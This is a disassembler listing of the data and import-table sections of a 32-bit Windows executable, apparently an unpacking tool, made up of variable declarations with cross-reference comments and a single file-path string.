; sub_40C50A+B4Dr
dd 2D9h dup(0)
dword_44CE58 dd 0 ; DATA XREF: sub_403076+A5r
; sub_4034E9+2Do ...
dd 7Fh dup(0)
dword_44D058 dd 0 ; DATA XREF: sub_4161EB+41w
; sub_416326+40w ...
dword_44D05C dd 0 ; DATA XREF: sub_403076:loc_4030BDr
; sub_403076+7Cr ...
dword_44D060 dd 0 ; DATA XREF: sub_412E64+168w
; sub_4143B6+AEw ...
dword_44D064 dd 0 ; DATA XREF: sub_405938+Cr
; sub_406D34+7Ew ...
dword_44D068 dd 0 ; DATA XREF: sub_41299C+11Ew
; sub_412B83+53r ...
dword_44D06C dd 0 ; DATA XREF: sub_402994+122w
; sub_402994+242w ...
byte_44D070 db 0 ; DATA XREF: sub_40C22A+91o
; sub_40C50A+3367r ...
align 4
dd 2177h dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: .data:00443810o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: .data:00443818o
dd 3EFCh dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: .data:00443B54o
dd 3FFFh dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: .data:00443970o
dd 6B45h dup(0)
dword_49005C dd 6E3h dup(0) ; DATA XREF: .data:off_43454Co
; .data:off_434560o
dword_491BE8 dd 1Ch ; DATA XREF: sub_402853:loc_4028C1r
; sub_40BBCB+3Dw ...
align 10h
dword_491BF0 dd 0 ; DATA XREF: sub_40BBCB:loc_40C13Co
dword_491BF4 dd 20h dup(0) ; DATA XREF: sub_40BBCB+509o
; sub_40BBCB+5C2o ...
dword_491C74 dd 10h dup(0) ; DATA XREF: sub_40BBCB+520o
dword_491CB4 dd 24h dup(0) ; DATA XREF: sub_40BBCB+537o
dword_491D44 dd 0 ; DATA XREF: sub_40BBCB+52Bw
; sub_40BBCB+5D9w ...
dword_491D48 dd 0 ; DATA XREF: sub_40BBCB+54Aw
dd 3 dup(0)
byte_491D58 db 0 ; DATA XREF: sub_40C392+28r
; sub_40C392+30o
align 4
byte_491D5C db 0 ; DATA XREF: sub_40BBCB:loc_40C1C6r
; sub_40BBCB+609o
align 10h
dword_491D60 dd 0 ; DATA XREF: sub_40BBCB+61Fo
dword_491D64 dd 0 ; DATA XREF: sub_40BBCB+631o
dword_491D68 dd 0 ; DATA XREF: sub_40BBCB+576w
; sub_40BBCB+58Dr ...
dword_491D6C dd 0 ; DATA XREF: sub_40BBCB+50Ew
; sub_40C50A+89Br
dword_491D70 dd 0 ; DATA XREF: .data:0043E38Co
dword_491D74 dd 0 ; DATA XREF: sub_40BBCB+24Do
dword_491D78 dd 0 ; DATA XREF: sub_40C50A+6169o
dword_491D7C dd 0 ; DATA XREF: sub_40C50A+5588o
dword_491D80 dd 0 ; DATA XREF: sub_40C50A+50A1o
dword_491D84 dd 0 ; DATA XREF: sub_40C50A+1C3Bo
dword_491D88 dd 0 ; DATA XREF: sub_40C50A+1EC5o
dword_491D8C dd 0 ; DATA XREF: sub_40C50A+3292o
dword_491D90 dd 0 ; DATA XREF: sub_412C20:loc_412C41r
; sub_412D0F+54r ...
dword_491D94 dd 0 ; DATA XREF: sub_412C20r
; sub_412D0F+37r ...
dword_491D98 dd 0 ; DATA XREF: sub_412C50+1Ar
; sub_412E64+83o
dword_491D9C dd 0 ; DATA XREF: sub_412C20:loc_412C34r
; sub_412E64+11Bw
dword_491DA0 dd 0Dh dup(0) ; DATA XREF: sub_412D0F+13o
; sub_412E64:loc_412FA5o
dword_491DD4 dd 0 ; DATA XREF: sub_412D0F+CDr
; sub_412D0F+ECr ...
dd 0
dword_491DDC dd 0 ; DATA XREF: sub_412C88+9o
dword_491DE0 dd 0 ; DATA XREF: sub_412E64+DFo
dword_491DE4 dd 0 ; DATA XREF: sub_412E64:loc_412FA0o
dword_491DE8 dd 0 ; DATA XREF: sub_416433+16o
; sub_416452+19o
dword_491DEC dd 0 ; DATA XREF: sub_4163E6+3Do
dword_491DF0 dd 0 ; DATA XREF: sub_41301C+146r
align 8
dword_491DF8 dd 2 dup(0) ; DATA XREF: sub_41301C+139o
dword_491E00 dd 0 ; DATA XREF: .text:0041370Ao
dword_491E04 dd 0 ; DATA XREF: sub_413802+33o
dword_491E08 dd 0 ; DATA XREF: sub_413802+63o
dword_491E0C dd 81h dup(0) ; DATA XREF: sub_413913+8Do
byte_492010 db 0 ; DATA XREF: sub_4147FB+6Ar
; sub_4147FB+98w
align 8
dword_492018 dd 0Eh dup(0) ; DATA XREF: sub_415273+47o
dword_492050 dd 2 dup(0) ; DATA XREF: sub_415430+13o
byte_492058 db 0 ; DATA XREF: sub_415CF4+20Ar
align 4
dword_49205C dd 950F60h ; DATA XREF: sub_416B00+262w
; sub_416F00:loc_41733Br ...
dword_492060 dd 14C5h ; DATA XREF: sub_416B00:loc_416D13r
; sub_416B00+21Cw ...
dword_492064 dd 946660h ; DATA XREF: sub_416B00:loc_416D49r
; sub_416B00+252r ...
dword_492068 dd 110Ah ; DATA XREF: sub_416B00+222r
; sub_416B00+22Aw ...
dword_49206C dd 110Ah ; DATA XREF: sub_416B00+235r
; sub_416B00+243w ...
dword_492070 dd 0 ; DATA XREF: .text:0041A3C4r
; .text:0041A3CFw
dword_492074 dd 0 ; DATA XREF: sub_41A330+10w
dword_492078 dd 0 ; DATA XREF: sub_41ABD0+88r
; sub_41ABD0+F8w
align 10h
dword_492080 dd 0 ; DATA XREF: sub_41ABD0+7Dr
; sub_41ABD0+100w ...
byte_492084 db 2 dup(0) ; DATA XREF: sub_41ABD0+109w
word_492086 dw 0 ; DATA XREF: sub_41ABD0+52r
dword_492088 dd 0 ; DATA XREF: sub_41ABD0+3Dr
; sub_41ABD0+112w ...
dword_49208C dd 0 ; DATA XREF: sub_41ABD0+11Aw
dword_492090 dd 0 ; DATA XREF: sub_4282A0+217r
dword_492094 dd 0A28h ; DATA XREF: sub_418030:loc_418086r
; sub_41B970+2Cw ...
dword_492098 dd 501h ; DATA XREF: sub_41B970+64w
dword_49209C dd 5 ; DATA XREF: sub_41B970+4Fw
; sub_41B970+55r
dword_4920A0 dd 1 ; DATA XREF: sub_41B970+3Ew
; sub_41B970+5Er
dword_4920A4 dd 1 ; DATA XREF: sub_40BBCB:loc_40BEC0r
; sub_425390+C6w
dword_4920A8 dd 950B00h ; DATA XREF: sub_40BBCB+2FEr
; sub_40BBCB+31Er ...
align 10h
dword_4920B0 dd 950A60h ; DATA XREF: sub_425240+7Bw
; sub_425240+81r ...
dword_4920B4 dd 0 ; DATA XREF: sub_430740+49r
dword_4920B8 dd 0 ; DATA XREF: sub_42F770+24r
; sub_430240+6r ...
align 10h
off_4920C0 dd offset aCM_unpackerPac ; DATA XREF: sub_425390+26w
; sub_425390+3Cr
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4920C8 db 0 ; DATA XREF: sub_41B390+30w
; sub_421210+8r
align 4
dword_4920CC dd 0 ; DATA XREF: sub_41B390:loc_41B3B3w
dword_4920D0 dd 0 ; DATA XREF: sub_41B390+9r
; sub_41B390:loc_41B45Bw
dword_4920D4 dd 0 ; DATA XREF: sub_41B390+95r
; sub_41B390+AFw
dword_4920D8 dd 0 ; DATA XREF: sub_41B970+C3w
; sub_425240+1Br ...
align 10h
dword_4920E0 dd 0 ; DATA XREF: sub_41BAE0+3r
; sub_41BB10+3r ...
dword_4920E4 dd 0 ; DATA XREF: sub_416A10+9r
; sub_416A30+Fr ...
dword_4920E8 dd 0 ; DATA XREF: .text:0041BB4Er
; .text:0041BB59w ...
align 10h
dword_4920F0 dd 143E60h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C5Co
dword_492108 dd 143DE8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C9Co
dword_492120 dd 143E38h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C7Co
dword_492138 dd 143E10h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .data:off_442C8Co
dword_492150 dd 0 ; DATA XREF: sub_41BF80+93r
; sub_41BF80+C8w ...
dword_492154 dd 0 ; DATA XREF: sub_421980:loc_421C45r
; sub_421980+2CEw ...
dword_492158 dd 1 ; DATA XREF: sub_422F40+26r
; sub_422F40+4Bw ...
dword_49215C dd 0 ; DATA XREF: sub_423930+C7o
; sub_423930+140o
word_492160 dw 0 ; DATA XREF: sub_423930+E8r
align 4
dword_492164 dd 0 ; DATA XREF: sub_423930+EFw
; sub_423930+159o
dword_492168 dd 0 ; DATA XREF: sub_423690+82r
; sub_423690+DDw ...
align 10h
dword_492170 dd 0 ; DATA XREF: sub_41A5E0+Dr
; sub_41A5E0:loc_41A676r ...
dword_492174 dd 0 ; DATA XREF: sub_42A430+4r
dword_492178 dd 0 ; DATA XREF: sub_42A100+18r
dword_49217C dd 0 ; DATA XREF: sub_429780+4r
dword_492180 dd 0 ; DATA XREF: sub_41B0E0+B9r
; sub_41B0E0+16Cr ...
dword_492184 dd 0 ; DATA XREF: sub_423690+11Fw
dword_492188 dd 0 ; DATA XREF: sub_423FC0+A6r
; sub_423FC0+C9w ...
align 10h
dword_492190 dd 1 ; DATA XREF: sub_4241C0:loc_4244D2r
; sub_424510+3w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_425390+19o
; sub_425390+26o ...
align 10h
dd 3Ah dup(0)
dword_492298 dd 1 ; DATA XREF: sub_4258A0+14r
; sub_4258A0+2Cw ...
dword_49229C dd 0 ; DATA XREF: sub_426060+2Br
; sub_426060+34r
dword_4922A0 dd 0 ; DATA XREF: .text:loc_426666r
; .text:00426672w ...
dword_4922A4 dd 0 ; DATA XREF: .text:loc_42667Ar
; .text:00426685w ...
dword_4922A8 dd 0 ; DATA XREF: .text:loc_42668Dr
; .text:00426699w ...
dword_4922AC dd 0 ; DATA XREF: .text:loc_4266A0r
; .text:004266ACw ...
dword_4922B0 dd 0 ; DATA XREF: .text:loc_4265FAr
; .text:00426615w
dword_4922B4 dd 0 ; DATA XREF: sub_426B40+Dr
; sub_426B40+39w ...
dword_4922B8 dd 0 ; DATA XREF: sub_426B40+5Aw
; sub_426B40:loc_426BB3r ...
dword_4922BC dd 0 ; DATA XREF: sub_426B40+6Ew
; sub_426B40+8Br ...
dword_4922C0 dd 1 ; DATA XREF: sub_426F40+26r
; sub_426F40+46w ...
dword_4922C4 dd 0 ; DATA XREF: sub_421980+9r
dword_4922C8 dd 0 ; DATA XREF: sub_429780+75r
; sub_429780+86r ...
dword_4922CC dd 0 ; DATA XREF: sub_42A100+25o
; sub_42A100+93r ...
dword_4922D0 dd 0 ; DATA XREF: sub_42A100+42o
; sub_42A100+A3r ...
dword_4922D4 dd 0 ; DATA XREF: sub_42A100+5Fo
; sub_42A100+7Cr ...
dword_4922D8 dd 0 ; DATA XREF: sub_42A430+A0r
; sub_42A430+B1r ...
dword_4922DC dd 0 ; DATA XREF: sub_42A890+2AAr
; sub_42A890+2B5r ...
dword_4922E0 dd 0 ; DATA XREF: sub_42A890+2CCr
; sub_42A890+2D7r ...
dword_4922E4 dd 3 dup(0) ; DATA XREF: sub_423690+94o
; sub_423690+F3o
word_4922F0 dw 0 ; DATA XREF: sub_42A890+36r
align 8
word_4922F8 dw 0 ; DATA XREF: sub_42A560+Fr
align 4
db 2 dup(0)
word_4922FE dw 0 ; DATA XREF: sub_42A100+Fr
db 2 dup(0)
word_492302 dw 0 ; DATA XREF: sub_429860+Fr
word_492304 dw 0 ; DATA XREF: sub_429860+1Ar
align 4
dword_492308 dd 0 ; DATA XREF: sub_42ACC0+155r
; sub_42ACC0+176r ...
dword_49230C dd 0 ; DATA XREF: sub_42AF50+37w
; sub_42B010+1Br ...
dword_492310 dd 0 ; DATA XREF: sub_42AF50+6Ew
; sub_42B010+101r ...
dword_492314 dd 0 ; DATA XREF: sub_42AF50+1Aw
; sub_42AF50+47r ...
dword_492318 dd 0 ; DATA XREF: sub_42ACC0+45w
; sub_42ACC0+4Br ...
dword_49231C dd 0 ; DATA XREF: sub_42ACC0+7Aw
; sub_42ACC0+80r ...
dword_492320 dd 0 ; DATA XREF: sub_42ACC0:loc_42AD69w
; sub_42ACC0:loc_42ADCEr ...
dword_492324 dd 0 ; DATA XREF: sub_42ACC0+182r
; sub_42ACC0+1CBr ...
dword_492328 dd 0 ; DATA XREF: sub_42ACC0+6r
; sub_42ACC0+2Cw ...
align 10h
dword_492330 dd 0 ; DATA XREF: sub_42BAC0+17w
; sub_42BAC0+6Dw ...
align 8
dword_492338 dd 0 ; DATA XREF: sub_42BAC0+59o
; sub_42BAC0+77r
dword_49233C dd 10h dup(0) ; DATA XREF: sub_42BAC0+103o
word_49237C dw 0 ; DATA XREF: sub_42BEA0+FCr
word_49237E dw 0 ; DATA XREF: sub_42BAC0+88r
; sub_42BEA0+145r ...
word_492380 dw 0 ; DATA XREF: sub_42BEA0+132r
word_492382 dw 0 ; DATA XREF: sub_42BEA0+13Br
; sub_42BEA0+18Br
word_492384 dw 0 ; DATA XREF: sub_42BEA0+126r
; sub_42BEA0+181r
word_492386 dw 0 ; DATA XREF: sub_42BEA0+11Cr
; sub_42BEA0+177r
word_492388 dw 0 ; DATA XREF: sub_42BEA0+113r
; sub_42BEA0+16Er
word_49238A dw 0 ; DATA XREF: sub_42BEA0+109r
; sub_42BEA0+164r
dword_49238C dd 0 ; DATA XREF: sub_42BAC0+93r
; sub_42BAC0+CEr
dword_492390 dd 10h dup(0) ; DATA XREF: sub_42BAC0+149o
word_4923D0 dw 0 ; DATA XREF: sub_42BEA0+43r
word_4923D2 dw 0 ; DATA XREF: sub_42BAC0+ABr
; sub_42BEA0+8Cr ...
word_4923D4 dw 0 ; DATA XREF: sub_42BEA0+79r
word_4923D6 dw 0 ; DATA XREF: sub_42BEA0+82r
; sub_42BEA0+D2r
word_4923D8 dw 0 ; DATA XREF: sub_42BEA0+6Dr
; sub_42BEA0+C8r
word_4923DA dw 0 ; DATA XREF: sub_42BEA0+63r
; sub_42BEA0+BEr
word_4923DC dw 0 ; DATA XREF: sub_42BEA0+5Ar
; sub_42BEA0+B5r
word_4923DE dw 0 ; DATA XREF: sub_42BEA0+50r
; sub_42BEA0+ABr
dword_4923E0 dd 0 ; DATA XREF: sub_42BAC0+B6r
; sub_42BAC0+C9r
dword_4923E4 dd 0 ; DATA XREF: sub_42BAC0+18Dr
; sub_42BAC0+196r ...
dword_4923E8 dd 0 ; DATA XREF: sub_42BA60+3r
; sub_42BA60+16r ...
dword_4923EC dd 0 ; DATA XREF: sub_4282A0:loc_4282FCr
byte_4923F0 db 0 ; DATA XREF: sub_42F050+18Fo
; sub_42F050+1F2r ...
align 8
dword_4923F8 dd 0 ; DATA XREF: sub_42A7F0+11o
; .data:off_4440A4o ...
dword_4923FC dd 0 ; DATA XREF: sub_42F2F0+26r
; sub_42F2F0+46w ...
dword_492400 dd 0 ; DATA XREF: sub_42FEA0+26r
; sub_42FEA0+41w ...
dword_492404 dd 0 ; DATA XREF: sub_430040+26r
; sub_430040+41w ...
dword_492408 dd 0 ; DATA XREF: sub_4302F0+26r
; sub_4302F0+4Bw ...
dword_49240C dd 0 ; DATA XREF: sub_431390+26r
; sub_431390+4Bw ...
dword_492410 dd 0 ; DATA XREF: sub_42E1D0+8Fw
; sub_42E1D0+A4w ...
dword_492414 dd 0 ; DATA XREF: sub_42E360+1C4w
; sub_42E360+1EDw ...
align 10h
dword_492420 dd 9461C8h ; DATA XREF: sub_41E810+1EBr
; sub_4210E0+EDr ...
dd 3Fh dup(0)
dword_492520 dd 20h ; DATA XREF: sub_421310+7r
; sub_421E90+7r ...
dword_492524 dd 4E4h ; DATA XREF: sub_4241C0+22r
; sub_4241C0+14Aw ...
align 10h
word_492530 dw 0 ; DATA XREF: sub_4241C0+19Aw
; sub_4241C0+2F3w ...
align 4
dd 2 dup(0)
dword_49253C dd 0 ; DATA XREF: sub_4241C0+150w
; sub_4241C0+2C2w ...
byte_492540 db 0 ; DATA XREF: sub_424670+1CEw
; sub_424670+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_492640 db 0 ; DATA XREF: sub_4241C0+ABw
; sub_4241C0+1F4w ...
byte_492641 db 0 ; DATA XREF: sub_41B4D0+92r
; sub_4241C0+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_492744 dd 0 ; DATA XREF: sub_4241C0+169w
; sub_4241C0+205w ...
dword_492748 dd 0 ; DATA XREF: sub_41A5E0+68r
; sub_41AE40+32r ...
dword_49274C dd 0 ; DATA XREF: sub_41A5E0:loc_41A63Do
; sub_41A5E0+71o ...
dword_492750 dd 946680h ; DATA XREF: sub_4210E0+48w
; sub_4210E0+4Dr ...
align 10h
dword_492760 dd 400h dup(0) ; DATA XREF: .data:off_442F80o
; .data:00442F88o
dword_493760 dd 200h ; DATA XREF: sub_4210E0+4r
; sub_4210E0+Dw ...
dword_493764 dd 10h ; DATA XREF: sub_41CAE0+48w
; sub_41D710+9r ...
dword_493768 dd 0 ; DATA XREF: sub_41CC00+475r
; sub_41CC00+4A4r ...
dword_49376C dd 941E90h ; DATA XREF: sub_41CAE0+2Ew
; sub_41CC00+5B2w ...
dword_493770 dd 0 ; DATA XREF: sub_41CAE0+34w
; sub_41CC00+468r ...
dword_493774 dd 1 ; DATA XREF: .text:0041CA33r
; sub_41CAE0+3Ew ...
dword_493778 dd 941E90h ; DATA XREF: .text:0041CA16r
; .text:loc_41CA86r ...
dword_49377C dd 940000h ; DATA XREF: sub_418030+76r
; sub_41BDF0+5Cr ...
dword_493780 dd 0 ; DATA XREF: .text:0041BF64r
; .text:0041BF6Fw ...
dword_493784 dd 142340h ; DATA XREF: sub_41B970+B9w
; sub_425180:loc_425192r ...
dword_493788 dd 1 ; DATA XREF: sub_425240+13Bw
; sub_42F770+Er
dword_49378C dd 1 ; DATA XREF: sub_4249A0+3r
; sub_4249A0+16w ...
dword_493790 dd 0 ; DATA XREF: sub_41B390+45r
dword_493794 dd 0 ; DATA XREF: sub_41B390+3Cr
; sub_41B390+5Ar
dword_493798 dd 0 ; DATA XREF: .text:004181B4r
; .text:004181BFw ...
align 1000h
_data ends
; Section 4. (virtual address 00094000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00094000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata segment para public 'DATA' use32
assume cs:_idata
;org 494000h
dd 9424Ch, 3 dup(0)
dd 944A0h, 9403Ch, 3 dup(0)
dd 94290h, 5 dup(0)
dd 9490Ch, 94E30h, 94E1Eh, 94E0Ch, 94DFAh, 94DEAh, 94DD4h
dd 94DBEh, 94DACh, 94D9Ch, 94D88h, 94D78h, 94D66h, 94D54h
dd 94D48h, 94D3Ah, 94D28h, 944F0h, 94506h, 9450Eh, 9451Ah
dd 94528h, 94534h, 94548h, 94556h, 94566h, 94576h, 9458Ch
dd 9459Ah, 945B2h, 945CAh, 945DAh, 94602h, 9461Ah, 9462Ah
dd 9463Ch, 9464Ah, 94660h, 9467Ah, 94696h, 946A4h, 946B6h
dd 946C2h, 946D2h, 946E4h, 946F2h, 9470Ch, 9471Eh, 9472Eh
dd 9473Ah, 94746h, 94758h, 94770h, 9478Ah, 9479Ch, 947B0h
dd 947C0h, 947CEh, 947E0h, 947F2h, 94808h, 9481Ch, 9482Eh
dd 9483Eh, 9484Ch, 9485Eh, 9486Eh, 94884h, 94892h, 948A0h
dd 948BCh, 948D2h, 948E2h, 948F8h, 94920h, 94934h, 94940h
dd 9494Eh, 94964h, 94970h, 94986h, 94996h, 949A8h, 949B4h
dd 949CAh, 949DAh, 949ECh, 949FAh, 94A12h, 94A24h, 94A34h
dd 94A48h, 94A62h, 94A7Eh, 94A94h, 94AA4h, 94AB4h, 94AC4h
dd 94ADCh, 94AF4h, 94B0Eh, 94B1Eh, 94B30h, 94B42h, 94B50h
dd 94B6Ch, 94B7Ch, 94B8Ah, 94B9Ah, 94BB0h, 94BBEh, 94BCCh
dd 94BDAh, 94BE8h, 94BF8h, 94C0Eh, 94C1Ch, 94C28h, 94C32h
dd 94C42h, 94C50h, 94C64h, 94C74h, 94C84h, 94C90h, 94C9Ah
dd 94CA6h, 94CC2h, 94CDCh, 94CF6h, 94D0Eh, 0
dd 10h dup(80000000h), 0
dword_494290 dd 930000h ; DATA XREF: sub_40B487+Cr
; sub_412E64+79r ...
dword_494294 dd 930010h ; DATA XREF: sub_430740+2C5r
; .text:00430FECr
dword_494298 dd 930020h ; DATA XREF: sub_4302F0+41r
; sub_4302F0+3DAr ...
dword_49429C dd 93003Dh ; DATA XREF: sub_4302F0+69r
; sub_4302F0+D9r ...
dword_4942A0 dd 930058h ; DATA XREF: sub_42FEA0+37r
; sub_42FEA0+8Br ...
dword_4942A4 dd 930068h ; DATA XREF: sub_42C610+1D8r
; .text:00430FD4r
dword_4942A8 dd 930077h ; DATA XREF: sub_42B5E0+12r
; .text:00430FCEr
dword_4942AC dd 930086h ; DATA XREF: sub_42AF50+7Ar
; sub_42B340+53r ...
dword_4942B0 dd 9300ABh ; DATA XREF: sub_42ACC0+142r
; .text:00430FC2r
dword_4942B4 dd 9300C9h ; DATA XREF: sub_42ACC0+15Cr
; .text:00430FBCr
dword_4942B8 dd 9300D8h ; DATA XREF: sub_428180+7Fr
; .text:00430FB6r
dword_4942BC dd 9300F6h ; DATA XREF: sub_427DA0+58r
; sub_427DA0+66r ...
dword_4942C0 dd 930106h ; DATA XREF: sub_426F40+3Cr
; sub_426F40+19Er ...
dword_4942C4 dd 930117h ; DATA XREF: sub_426F40+61r
; sub_426F40+AAr ...
dword_4942C8 dd 930125h ; DATA XREF: sub_430F9Er
dword_4942CC dd 930133h ; DATA XREF: sub_425AC0+1E6r
; sub_425AC0+29Br ...
dword_4942D0 dd 930144h ; DATA XREF: sub_425AC0+31Ar
; .text:00430F92r
dword_4942D4 dd 930154h ; DATA XREF: sub_401000+66r
; sub_4010E6+65r ...
dword_4942D8 dd 930164h ; DATA XREF: sub_4010E6+A9r
; sub_4013F1+2C2r ...
dword_4942DC dd 930181h ; DATA XREF: sub_4013F1+135r
; sub_40465D+271r ...
dword_4942E0 dd 93019Ch ; DATA XREF: sub_4013F1+120r
; sub_4013F1+150r ...
dword_4942E4 dd 9301ACh ; DATA XREF: sub_4013F1+103r
; sub_403948+1B0r ...
dword_4942E8 dd 9301BBh ; DATA XREF: sub_4013F1+E9r
; .text:00430CFEr
dword_4942EC dd 9301CAh ; DATA XREF: sub_4013F1+68r
; sub_403948+196r ...
dword_4942F0 dd 9301EFh ; DATA XREF: sub_402994:loc_402AD0r
; sub_402994:loc_402BF4r ...
dword_4942F4 dd 93020Dh ; DATA XREF: sub_402994+10Er
; sub_402994+22Dr ...
dword_4942F8 dd 93021Ch ; DATA XREF: sub_402994+58r
; sub_402994+177r ...
dword_4942FC dd 93023Ah ; DATA XREF: sub_403076+20Er
; sub_40328A+23Fr ...
dword_494300 dd 93024Ah ; DATA XREF: sub_403076+13Fr
; sub_41BD30+Er ...
dword_494304 dd 93025Bh ; DATA XREF: sub_403076+D4r
; sub_41BC90+8Dr ...
dword_494308 dd 930269h ; DATA XREF: sub_403076+32r
; sub_404C3D+27r ...
dword_49430C dd 930277h ; DATA XREF: sub_40328A+77r
; .text:00430D34r
dword_494310 dd 930288h ; DATA XREF: sub_40328A+6Br
; sub_40328A+22Fr ...
dword_494314 dd 930298h ; DATA XREF: sub_4035E1+Dr
; sub_4084C8+Er ...
dword_494318 dd 9302A8h ; DATA XREF: sub_40465D+259r
; sub_407C49+6Cr ...
dword_49431C dd 9302C5h ; DATA XREF: sub_40465D+133r
; sub_407317+1EEr ...
dword_494320 dd 9302E0h ; DATA XREF: sub_404A02+3Ar
; sub_405938+74r ...
dword_494324 dd 9302F0h ; DATA XREF: sub_404CEF+18Cr
; sub_404CEF+2D4r ...
dword_494328 dd 9302FFh ; DATA XREF: sub_404CEF+182r
; sub_414F67+FFr ...
dword_49432C dd 93030Eh ; DATA XREF: sub_405084+478r
; sub_405938+DFr ...
dword_494330 dd 930333h ; DATA XREF: sub_405084+462r
; sub_405938+A7r ...
dword_494334 dd 930351h ; DATA XREF: sub_405B38+BAr
; sub_4075C7+5E8r ...
dword_494338 dd 930360h ; DATA XREF: sub_405B38+AFr
; sub_405B38+139r ...
dword_49433C dd 93037Eh ; DATA XREF: sub_405B38+26r
; sub_4075C7+1FCr ...
dword_494340 dd 93038Eh ; DATA XREF: sub_405C86+170r
; .text:00430D82r
dword_494344 dd 93039Fh ; DATA XREF: sub_405C86+BCr
; .text:00430D88r
dword_494348 dd 9303ADh ; DATA XREF: sub_405C86+60r
; sub_40888A+11r ...
dword_49434C dd 9303BBh ; DATA XREF: sub_405C86+5Ar
; sub_40888A+13Ar ...
dword_494350 dd 9303CCh ; DATA XREF: sub_405E58+41r
; sub_405E58+F5r ...
dword_494354 dd 9303DCh ; DATA XREF: sub_405E58+21r
; sub_405FE1+4Ar ...
dword_494358 dd 9303ECh ; DATA XREF: sub_405E58+10r
; sub_405FE1+40r ...
dword_49435C dd 930409h ; DATA XREF: sub_405FE1+135r
; sub_4075C7+27Br ...
dword_494360 dd 930424h ; DATA XREF: sub_405FE1+123r
; sub_4075C7+26Dr ...
dword_494364 dd 930434h ; DATA XREF: sub_405FE1+88r
; sub_406188+55r ...
dword_494368 dd 930443h ; DATA XREF: sub_405FE1+56r
; sub_406188+97r ...
dword_49436C dd 930452h ; DATA XREF: sub_405FE1+34r
; sub_406188+2Er ...
dword_494370 dd 930477h ; DATA XREF: sub_405FE1+15r
; sub_406188+13r ...
dword_494374 dd 930495h ; DATA XREF: sub_407195+9Fr
; sub_415430+1B6r ...
dword_494378 dd 9304A4h ; DATA XREF: sub_407195+8Br
; sub_415430+19Fr ...
dword_49437C dd 9304C2h ; DATA XREF: sub_407317+110r
; sub_409D2E+10Fr ...
dword_494380 dd 9304D2h ; DATA XREF: sub_40888A+2r
; sub_409D2E+FBr ...
dword_494384 dd 9304E3h ; DATA XREF: sub_409AA0+2Dr
; .text:00430DE8r
dword_494388 dd 9304F1h ; DATA XREF: sub_409B2A+26r
; .text:00430DEEr
dword_49438C dd 9304FFh ; DATA XREF: sub_409B2A+1Dr
; .text:00430DF4r
dword_494390 dd 930510h ; DATA XREF: sub_409B65+6Cr
; .text:00430DFAr
dword_494394 dd 930520h ; DATA XREF: sub_409B65+39r
; .text:00430E00r
dword_494398 dd 930530h ; DATA XREF: sub_409B65+28r
; .text:00430E06r
dword_49439C dd 93054Dh ; DATA XREF: sub_409BEA+96r
; .text:00430E0Cr
dword_4943A0 dd 930568h ; DATA XREF: sub_409BEA+60r
; .text:00430E12r
dword_4943A4 dd 930578h ; DATA XREF: sub_409D2E+15Dr
; .text:00430E18r
dword_4943A8 dd 930587h ; DATA XREF: sub_409D2E+126r
; sub_40BBCB+1B5r ...
dword_4943AC dd 930596h ; DATA XREF: sub_409D2E+35r
; sub_40C50A+3E60r ...
dword_4943B0 dd 9305BBh ; DATA XREF: sub_40A359+13r
; sub_422F40+2A5r ...
dword_4943B4 dd 9305D9h ; DATA XREF: sub_40AD78+34r
; .text:00413603r ...
dword_4943B8 dd 9305E8h ; DATA XREF: sub_40B4F2+113r
; sub_40B4F2+22Fr ...
dword_4943BC dd 930606h ; DATA XREF: sub_40B4F2+DEr
; .text:00430E42r
dword_4943C0 dd 930616h ; DATA XREF: sub_40BBCB+33Br
; sub_40C50A+4AD5r ...
dword_4943C4 dd 930627h ; DATA XREF: sub_40BBCB+267r
; .text:00430E4Er
dword_4943C8 dd 930635h ; DATA XREF: sub_40BBCB:loc_40BD86r
; .text:00430E54r
dword_4943CC dd 930643h ; DATA XREF: sub_40BBCB+6Br
; sub_40BBCB+311r ...
dword_4943D0 dd 930654h ; DATA XREF: sub_40BBCB+64r
; .text:00430E60r
dword_4943D4 dd 930664h ; DATA XREF: sub_40C50A+4D5Dr
; sub_41416C+9Fr ...
dword_4943D8 dd 930674h ; DATA XREF: sub_40C50A+3C5Cr
; .text:00430E6Cr
dword_4943DC dd 930691h ; DATA XREF: sub_412D0F+5Ar
; .text:00430E72r
dword_4943E0 dd 9306ACh ; DATA XREF: sub_412D0F+3Dr
; .text:00430E78r
dword_4943E4 dd 9306BCh ; DATA XREF: sub_412E64+91r
; sub_4143B6+77r ...
dword_4943E8 dd 9306CBh ; DATA XREF: sub_412E64+37r
; sub_4142BD+23r ...
